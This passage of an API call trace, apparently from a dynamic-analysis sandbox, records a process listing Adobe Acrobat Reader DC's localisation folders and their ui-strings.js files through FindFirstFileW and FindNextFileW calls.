nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0277.067] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0277.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.067] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0277.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.067] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0277.067] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.067] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.067] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.068] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0277.068] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.068] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0277.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.068] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0277.068] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.068] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x473, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.068] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x473, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.068] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0277.068] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.068] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0277.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.069] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0277.069] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.069] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.069] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.069] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0277.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.069] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0277.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.069] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0277.070] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.070] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.070] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.070] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0277.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.070] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0277.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.070] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0277.070] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.070] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.071] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.071] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0277.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.071] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0277.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.071] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-gb\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0277.071] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.071] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0277.071] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0277.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.071] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0277.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.072] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0277.072] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.072] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.072] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.072] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0277.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.072] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0277.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.072] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0277.072] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.073] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.073] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.073] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0277.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.073] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, 